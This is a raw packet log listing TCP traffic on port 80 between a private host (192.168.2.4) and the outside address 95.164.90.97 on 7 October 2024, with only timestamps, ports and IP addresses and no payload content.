Oct 7, 2024 18:43:36.194633007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194643021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194650888 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194669008 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194689035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195074081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195085049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195096016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195106983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195116997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195123911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195136070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195147038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195148945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195156097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195167065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195173025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195177078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195188999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195199013 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195199966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195209980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195219994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195223093 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195230961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195240974 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195240974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195255041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195265055 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195290089 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195301056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195312023 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195312977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195322990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195332050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195342064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195343971 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195353031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195367098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195389986 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195436001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195446014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195456028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195466995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195475101 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195476055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195487022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195488930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195497036 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195507050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195513964 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195518017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195543051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195558071 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195689917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195699930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195709944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195719004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195729017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195734024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195739031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.195760012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.195770979 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196206093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196217060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196225882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196235895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196253061 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196254015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196264029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196274996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196281910 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196290970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196294069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196305037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196316004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196320057 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196326971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196340084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196350098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196351051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196361065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196365118 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196371078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196382046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196393967 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196418047 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196572065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196583986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196599960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196609974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196619034 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196619987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196630001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196630955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196640015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196657896 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196685076 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196734905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196746111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196757078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196767092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196778059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196782112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196789980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196794033 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196800947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196811914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196815014 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196840048 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196863890 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196873903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196886063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196894884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196904898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196912050 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196922064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196929932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196933031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196943998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196954012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196954012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196964025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196968079 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196974993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196985960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.196994066 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.196999073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197006941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197014093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197020054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197021961 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197027922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197033882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197041035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197055101 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197073936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197164059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197175026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197189093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197201967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197205067 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197232008 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197253942 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197443962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197460890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197473049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197484016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197494030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197503090 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197504044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197515011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197525024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197527885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197535038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197545052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197546005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197556019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197557926 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197566032 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197577000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197587013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197590113 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197613955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197616100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197623014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197633028 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197633982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197644949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.197657108 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.197681904 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.198071003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.198091030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.198101997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.198131084 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.198143005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.251827955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.252263069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.256759882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.256772041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.256783009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.256823063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.256853104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.256877899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.256891012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.256923914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.261768103 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.261960983 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270232916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270245075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270256042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270267010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270277977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270288944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270298958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270299911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270322084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270328045 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270334005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270344019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270353079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270363092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270368099 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270373106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270382881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270390987 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270392895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270405054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270407915 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270425081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270445108 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270469904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270481110 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270490885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270500898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270509958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270514011 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270520926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270533085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270543098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270544052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270555019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270561934 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270566940 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270593882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270612001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270617008 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270622969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270632982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270642996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270647049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270653963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270663977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270668030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270673990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270684958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270694017 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270695925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270711899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270718098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270721912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270731926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270744085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270746946 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270754099 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270764112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270771027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270773888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270785093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270790100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270796061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270806074 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270807028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270817041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270823002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270827055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270838976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270848989 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270880938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270925045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270936966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270946980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270956993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270961046 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.270967960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270978928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.270982981 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.271043062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.271744967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271802902 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.271833897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271846056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271879911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.271887064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271897078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271908045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271918058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271922112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.271929026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271955013 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.271966934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271975994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.271979094 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.271986961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.272005081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.272030115 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.351584911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.356545925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.543992043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544173002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.544291019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544313908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544323921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544327021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544329882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544346094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544352055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544365883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544368029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.544372082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544382095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544389009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544394016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544398069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.544399023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544404030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544409037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544414043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544446945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.544446945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.544446945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.544512987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544527054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544538021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544548035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544553041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544584990 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.544603109 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.544917107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544923067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544928074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544933081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544945002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544950008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544960022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544961929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.544965982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544970989 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544984102 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544989109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.544994116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.545000076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.545003891 CEST	80	51632	95.164.90.97	192.168.2.4
